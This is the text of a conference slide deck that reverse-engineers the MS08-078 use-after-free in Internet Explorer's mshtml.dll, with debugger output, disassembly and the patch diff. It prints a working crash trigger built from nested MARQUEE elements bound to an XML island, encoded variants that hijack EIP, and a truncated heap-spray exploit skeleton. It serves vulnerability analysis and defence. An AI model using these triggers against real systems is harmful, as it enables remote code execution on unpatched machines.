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Dissecting a "Client-Side" vulnerability in the APT era



Session objectives

• Share and disseminate knowledge… About some tips and tricks I have 
learned reverse-engineering a modern browser vulnerability. 
– Agenda  

• Motivation 
• Inception 
• Dream Level — 1 
• Dream Level — 2 
• Dream Level — 3 
• Kick or Limbo? 
• Conclusions & Questions 
• do{ BONUS(); }while(time);



Motivation



• Many talks have been done in Brazil, regarding reverse engineer, as well as too much 
useless information: 
• Mostly related to purpose-built frameworks, tools and libraries. 
• Some others addressing how to translate to a readable format. 
• None addressing real world vulnerabilities. 

• These talks leave both “apprentices" and security professionals in a “black hole”, with tons 
of misinformation. 
• I call this deception. 

• The "apprentices" demand much more than simple “hello world” bugs. 
• Since you have created the bug, you can exploit it easily.

Misinformation and misconception 



• No matter what someone tries to convincing you, this is not reverse engineering... This is 
just a “translation”.

  ; accept(SOCKET, struct sockaddr FAR*, int FAR*) 

  push ebx  ; ebx = int FAR* 

  push esp  ; esp = struct sockaddr FAR* 

  push edi  ; edi = SOCKET 

  call _accept ; accept(edi, esp, ebx) 

  mov edi, eax ; moving eax to edi 

     ; eax = return() 

     ; edi = SOCKET accept()



Inception



• Every time a new vulnerability comes out, we should be ready to understand it, in order to 
perform: Exploitation, Detection, Prevention and Mitigation. 

• Sometimes, none or just a few information regarding a new vulnerability  is publicly 
available. 

• Sometimes, these information regarding a new vulnerability are wrong or, to be polite, 
uncompleted. 

• Reverse engineer is one of the most powerful approaches available to deeply understand a 
new vulnerability, and, sometimes, to rediscover (?) the new vulnerability.

Reverse-engineer
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Dream Level 1



• Has a vulnerability been chosen? 
• There is nothing to do without a vulnerability. 

• Are there valuable information about the vulnerability? 
• Gather valuable information to understand the weakness type regarding the vulnerability, 

as well as any feature and/or technology surrounding to trigger the vulnerability. 
• Is the vulnerable ecosystem affordable? 

• Avoid exotic vulnerable ecosystem, because it must be configured as a test-bed and its 
deep knowledge are “sine qua non”. 

• Are there public tools available to perform a reverse engineer? 
• A good set of public tools will define the success of the reverse engineer – development 

skills are always necessary, otherwise the reverse engineer will fail. 
• Which analysis method should be applied? 

• Choose and understand the analysis method that will be applied.

Checklist



• MS08-078: 
• CVE-2008-4844. 
• CWE-367 – TOCTOU Race Condition. 
• CVSS – 9.3 (HIGH). 

• Affected systems: 
• Microsoft Internet Explorer 5.01 SP4, 6 SP 0/1, 7 and 8 Beta 1/2. 
• Microsoft Windows XP SP 1/2/3, Vista SP 0/1/2, Server 2003 SP 0/1/2 and Server 2008 

SP 0/1/2.

Valuable information



Vulnerable ecosystem

Internet Explorer 7.x
Internet Explorer 6.x
Internet Explorer 8.x



Vulnerable ecosystem

Windows XP
Windows Vista
Other



• Debugging Tools for Windows: 
• It is a set of extensible tools for debugging device drivers for the Microsoft Windows 

family of operating systems.  
• It supports debugging of: 

• Applications, services, drivers, and the Windows kernel. 
• Native 32-bit x86, native Intel Itanium, and native x64 platforms. 
• Microsoft Windows NT 4, 2000, XP, Vista, Server 2003 and Server 2008. 
• User-mode programs and kernel-mode programs. 
• Live targets and dump files. 
• Local and remote targets. 

• The IDA (Interactive DisAssembler) Pro 5.0 Freeware is also recommended.

Public tools



• White box: 
• Also known as Static Code Analysis, and it  looks at applications in non-runtime 

environment. 
• Black Box: 

• Also known as Dynamic Code Analysis, and it  looks at applications in runtime 
environment. 

• Grey/Gray Box: 
• It is a mix of White Box and Black Box.

Analysis methods



• Has a vulnerability been chosen? 
• MS08-078 (CVE-2008-4844). 

• Are there valuable information about the vulnerability? 
• Keywords: “XML Island”, “Data Binding”, “use-after-free”, “MSHTML.dll”, “XML 

document”, “<SPAN>”, “nested”. 
• Is the vulnerable ecosystem affordable? 

• Microsoft Internet Explorer 7 and Microsoft Windows XP SP3. 
• Are there public tools available to perform a reverse engineer? 

• Debugging Tools for Windows, Windows Symbol Package for Windows XP SP3 and IDA 
Pro 5.0 Freeware Version. 

• Which analysis method should be applied? 
• White Box, Black Box and Grey/Gray Box.

Checklist



Dream Level 2



• XML Data Island: 
• XML document that exists within an HTML page. 

• Allows to script against the XML document: 
• Without having to load the XML document through script or through the HTML <OBJECT> 

element. 
• XML Data Island can be embedded using one of the following methods: 

• HTML <XML> element. 
• HTML <SCRIPT> element.

XML Island



  <XML ID=I> 

  <X><C>TEXT</C></X> 

  </XML> 

  <XML SRC=“./xmlFile.xml”></XML> 

  <SCRIPT ID=I LANGUAGE =“XML”> 

  <X><C>TEXT</C></X> 

  </SCRIPT>



• Data Source Object (DSO): 
• To bind data to the elements of an HTML page in Microsoft Internet Explorer, a DSO must 

be present on that page. 
• Data Consumers: 

• Data consumers are elements on the HTML page that are capable of rendering the data 
supplied by a DSO. 

• Binding Agent and Table Repetition Agent: 
• The binding and repetition agents are implemented by MSHTML.dll, the HTML viewer 

for Microsoft Internet Explorer, and they work completely behind the scenes.

Data binding



  <SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML> 

  </SPAN> 

  <TABLE DATASRC=#I><TR> <TD> 

  <DIV DATAFLD=C  DATAFORMATAS=HTML></DIV> 

  </TD></TR></TABLE> 

  <MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML> 

  </MARQUEE>



• Referencing memory after it has been freed can cause a program to crash, use 
unexpected values, or execute code. 

• The use of previously-freed memory can have any number of adverse consequences, 
ranging from the corruption of valid data to the execution of arbitrary code. 

• Use-after-free errors have two common and sometimes overlapping causes:  
• Error conditions and other exceptional circumstances. 
• Confusion over which part of the program is responsible for freeing the memory. 

• Briefly, an use-after-free vulnerability can lead to execute arbitrary code.

Use-after-free



  char *ptr = malloc(20); 

  for (i = 0 ; i < 19 ; i++)  

  ptr[i] = “A”; 

  i[19] = “\0”; 

  free(ptr); 

  printf(“%s\n”, ptr);



  char *ptr = (char *) malloc(SIZE); 

  if(err){ 

  abrt = 1; 

  free(ptr); 

  } 

  if(abrt) 

  logError(“aborted”, ptr);



• MSHTML.dll is at the heart of Internet Explorer and takes care of its HTML and Cascading 
Style Sheets (CSS) parsing and rendering functionality. 

• MSHTML.dll exposes interfaces that enable you to host it as an active document. 
• MSHTML.dll may be called upon to host other components depending on the HTML 

document's content, such as: 
• Scripting Engines: 

• Microsoft Java Scripting (JScript). 
• Visual Basic Scripting  (VBScript). 

• ActiveX Controls. 
• XML Data.

Microsoft® HTML Viewer





• Defined by W3C: 
• “Extensible Markup Language (XML) 1.0 (Fifth Edition)” (November 28th, 2008). 

• XML elements must follow some basic name rules: 
• Names can contain letters, numbers, and other characters. 
• Names must not start with a number or punctuation character. 
• Names must not start with the letters xml (or XML, or Xml, etc). 
• Names cannot contain spaces. 

• There are only five built-in character entities for XML: 
• < → less-than sign 
• > → greater-than sign 
• & → ampersand 
• ” → quotation mark 
• ’ → apostrophe 

• XML documents accept the syntax &#xH; or &#XH;. 
• Where H is a hexadecimal number (ISO 10640).

XML document



Dream Level 3



• First clue about this trigger came from Microsoft Security Development Lifecycle (SDL): 
• “Triggering the bug would require a fuzzing tool that builds data streams with multiple 

data binding constructs with the same identifier.” 
• “Random (or dumb) fuzzing payloads of this data type would probably not trigger the bug, 

however.” 
• “When data binding is used, IE creates an object which contains an array of data binding 

objects.” 
• It might mean that one – or more – of the following  objects must be nested to be 

“allocated” and “released”: XML Data Island, Data Source Object (DSO) and/or Data 
Consumers.

Video demonstration

Triggering



   <XML ID=I><X><C> 

   &lt;IMG SRC=&quot;javascript:alert(&apos;XSS&apos;)&quot;&gt; 

   </C></X></XML> 

   <MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML> 

   <MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML> 

   </MARQUEE> 

   </MARQUEE> 



  <HTML> 

  <SCRIPT LANGUAGE=“JavaScript”> 

  function Inception(){ 

  document.getElementById(“b00m”).innerHTML =  

  “<XML ID=I><X><C>” + 

  “&lt;IMG SRC=&quot;javascript:alert(&apos;XSS&apos;)&quot;&gt;” + 

  “</C></X></XML>” + 

  “<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>” + 

  “<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>” + 

  “</MARQUEE>” + 

  “</MARQUEE>”; 

  </SCRIPT> 

  <BODY onLoad=“Inception();”> 

  <DIV ID=“b00m”></DIV> 

  </BODY> 

  </HTML>



• The first contact is the most important reverse engineer step. 
• It will define all the next steps the reverse engineer will follow in order to acquire 

knowledge about the vulnerability. 
• Remember: 

• “It’s the first impression that stays on!” 
• The first contact (impression) will lead all the rest of reverse engineer, no matter what is 

done after – pay attention. 
• Ensure to load the Windows symbol files, in order to understand the vulnerability – it will be 

very helpful to map the object classes, properties and/or methods.

Video demonstration

Mapping



Understanding



Understanding



Understanding



  [TRUNCATED] 
  mov edi, ecx 
  mov esi, [edi+08h] 
  xor ebx, ebx 
  shr esi, 02h 
  dec esi 
  [TRUNCATED] 
 do_while: 

  mov eax, [edi+0Ch] 
  cmp dword ptr [eax+ebx*04h], 0 
  je continue 
  mov ecx, [eax+ebx*04h] 
  call TransferFromSrc@CXfer 
  [TRUNCATED] 
 continue: 
  inc ebx  
  cmp ebx, esi 
  jle do_while 
  [TRUNCATED]



  [TRUNCATED] 
  mov edi, ecx 
  mov esi, [edi+08h] 
  xor ebx, ebx 
  shr esi, 02h 
  dec esi 
  [TRUNCATED] 
 do_while: 
  mov eax, [edi+08h] 
  shr eax, 02h 
  cmp ebx, eax 
  jge return 
  mov eax, [edi+0Ch] 
  cmp dword ptr [eax+ebx*04h], 0 
  je continue 
  mov ecx, [eax+ebx*04h] 
  call TransferFromSrc@CXfer 
  [TRUNCATED] 
 continue: 
  inc ebx  
  cmp ebx, esi 
  jle do_while 
  [TRUNCATED]



Video demonstration

  int CRecordInstance::TransferToDestination () { 

   int ebp_minus_4h, eax; 

   int esi, ebx = 0; 

   esi = (sizeof(edi) >> 2) - 1; 

   ebp_minus_4h = ebx; 

   do{ 

   

   

    if(edi[ebx] == 0) continue; 

    eax = edi[ebx]->TransferFromSrc(); 

    if((ebp_minus_4h == 0) && (eax != 0)) 

     ebp_minus_4h = eax; 

    ebx++; 

   }while(ebx <= esi); 

   return(ebp_minus_4h); 

  }



  int CRecordInstance::TransferToDestination () { 

   int ebp_minus_4h, eax; 

   int esi, ebx = 0; 

   esi = (sizeof(edi) >> 2) - 1; 

   ebp_minus_4h = ebx; 

   do{ 

    eax = (sizeof(edi) >> 2) - 1; 

    if(ebx >= eax) break; 

    if(edi[ebx] == 0) continue; 

    eax = edi[ebx]->TransferFromSrc(); 

    if((ebp_minus_4h == 0) && (eax != 0)) 

     ebp_minus_4h = eax; 

    ebx++; 

   }while(ebx <= esi); 

   return(ebp_minus_4h); 

  }



Kick or Limbo?



Getting control



 <XML ID=I><X><C> 

 &lt;IMG SRC=&quot;javascript:alert(&apos;XSS&apos;)&quot;&gt; 

 </C></X></XML> 

 <MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML> 

 <MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML> 

 </MARQUEE> 

 </MARQUEE>



 <XML ID=I><X><C> 

 <IMG SRC="javascript:alert('XSS')"> 

 </C></X></XML> 

 <MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML> 

 <MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML> 

 </MARQUEE> 

 </MARQUEE>



 <XML ID=I><X><C> 

 <IMG SRC="javascript:&#97;&#108;&#101;&#114;&#116;('XSS')"> 

 </C></X></XML> 

 <MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML> 

 <MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML> 

 </MARQUEE> 

 </MARQUEE> 

a - &#97; 

l - &#108; 

e - &#101; 

r - &#114; 

t - &#116;



 <XML ID=I><X><C> 

 <IMG SRC="javascript:&#x61;&#x6c;&#x65;&#x72;&#x74;('XSS')"> 

 </C></X></XML> 

 <MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML> 

 <MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML> 

 </MARQUEE> 

 </MARQUEE> 

a - &#x61; 

l - &#x6c; 

e - &#x65; 

r - &#x72; 

t - &#x74;



 <XML ID=I><X><C> 

 <IMG SRC="javascript:&#x0061;&#x006c;&#x0065;&#x0072;&#x0074;('XSS')"> 

 </C></X></XML> 

 <MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML> 

 <MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML> 

 </MARQUEE> 

 </MARQUEE> 

a - &#x0061; 

l - &#x006c; 

e - &#x0065; 

r - &#x0072; 

t - &#x0074;



 <XML ID=I><X><C> 

 <IMG SRC="javascript:&#x6c61;&#x7265;&#x0074;&#x0020;&#x0020;('XSS')"> 

 </C></X></XML> 

 <MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML> 

 <MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML> 

 </MARQUEE> 

 </MARQUEE> 

la - &#x6c61; 

re - &#x7265; 

t - &#x0074;



 <XML ID=I><X><C> 

 <IMG SRC="javascript:&#x0a0a;&#x0a0a;ert('XSS')"> 

 </C></X></XML> 

 <MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML> 

 <MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML> 

 </MARQUEE> 

 </MARQUEE> 

mshtml!CXfer::TransferFromSrc+0x38 

EIP = DWPRD PTR [ECX+84h] {ECX+84h = 0A0A0A0Ah}



• Wikipedia description: 
• “In computer security, heap spraying is a technique used in exploits to facilitate arbitrary 

code execution.” 
• “In general, code that sprays the heap attempts to put a certain sequence of bytes at a 

predetermined location in the memory of a target process by having it allocate (large) 
blocks on the process' heap and fill the bytes in these blocks with the right values.” 

• A JavaScript library has been created to optimize the exploitation – inspired on: 
• JavaScript Heap Exploitation library  by Alexander Sotirov.

Heap-spraying



Video demonstration

  function ms08_078 (){ 

   var ms08_078 = new Inception(), choice, bytes, address, heap, 

        data, memory, trigger; 

   ms08_078.offset = [ 0x0a0a0a0a ]; 

   choice   = ms08_078.random(ms08_078.offset.length); 

   bytes   = ms08_078.bytes(ms08_078.offset[choice]); 

   address  = ms08_078.address(ms08_078.offset[choice]); 

   data   = ms08_078.data(ms08_078.code[0][0]); 

   heap   = ms08_078.heap(address, data); 

   trigger  = trigger.concat(“[TRUNCATED]”); 

   [TRUNCATED] 

   if(memory = ms08_078.alloc(heap, bytes)){ 

    exploit(trigger); 

   [TRUNCATED] 

  }



  Inception.prototype.constructor = function Inception (){[...]} 

  Inception.prototype.address = function (address, format) {[...]} 

  Inception.prototype.alloc = function (chunk1mb, bytes) {[...]} 

  Inception.prototype.ascii = function (method, size, format) {[...]} 

  Inception.prototype.bytes = function (bytes, format) {[...]} 

  Inception.prototype.chunk1mb = function (chunk64k) {[...]} 

  Inception.prototype.chunk64k = function (address, data) {[...]} 

  Inception.prototype.data = function (data, format) {[...]} 

  Inception.prototype.dealloc = function(memory, bytes) {[...]} 

  Inception.prototype.heap = function (address, data) {[...]} 

  Inception.prototype.hexa = function (address, size) {[...]} 

  Inception.prototype.random = function (maximum) {[...]}



Conclusion and Questions



BONUS



Microsoft Workarounds

Workaround
Sample Code BONUS Code

#01 #02 #01 #02
1 YES YES YES YES
2 YES YES NO NO
3 NO NO NO NO
4 YES YES YES YES
5 YES YES YES YES

6 YES YES YES YES



Video demonstration

  XML Data Source Object 1.0  (550DDA30-0541-11D2-9CA9-0060B0EC3D39) 

  XML Data Source Object 3.0  (F5078F39-C551-11D3-89B9-0000F81FE221) 

       (F6D90F14-9C73-11D3-B32E-00C04F990BB4) 

  Tabular Data Control   (333C7BC4-460F-11D0-BC04-0080C7055A83) 

  mshtml!CXfer::TransferFromSrc+0x38: 

  7ea81cf8 ff9184000000    call    dword ptr [ecx+84h]  ds:0023:7620b2d8=08468bff 

  0:005> g 

  (bc.e34): Access violation - code c0000005 (first chance) 

  First chance exceptions are reported before any exception handling. 

  This exception may be expected and handled. 

  eax=76203520 ebx=00000000 ecx=7620b254 edx=7e90876d esi=02299cd0 edi=00190cd8 

  eip=08468bff esp=01e8fc94 ebp=01e8fcc0 iopl=0         nv up ei pl nz na pe nc 

  cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206 

  08468bff ??              ???



 Previous CVE-2008-4844 description: 

 Use-after-free vulnerability in mshtml.dll in Microsoft Internet Explorer 5.01, 6, 
and 7 on Windows XP SP2 and SP3, Server 2003 SP1 and SP2, Vista Gold and SP1, and 
Server 2008 allows remote attackers to execute arbitrary code via a crafted XML 
document containing nested SPAN elements, as exploited in the wild in December 
2008. 

 Current CVE-2008-4844 description: 

 Use-after-free vulnerability in the CRecordInstance::TransferToDestination function 
in mshtml.dll in Microsoft Internet Explorer 5.01, 6, 6 SP1, and 7 allows remote 
attackers to execute arbitrary code via DSO bindings involving (1) an XML Island, 
(2) XML DSOs, or (3) Tabular Data Control (TDC) in a crafted HTML or XML document, 
as demonstrated by nested SPAN or MARQUEE elements, and exploited in the wild in 
December 2008.
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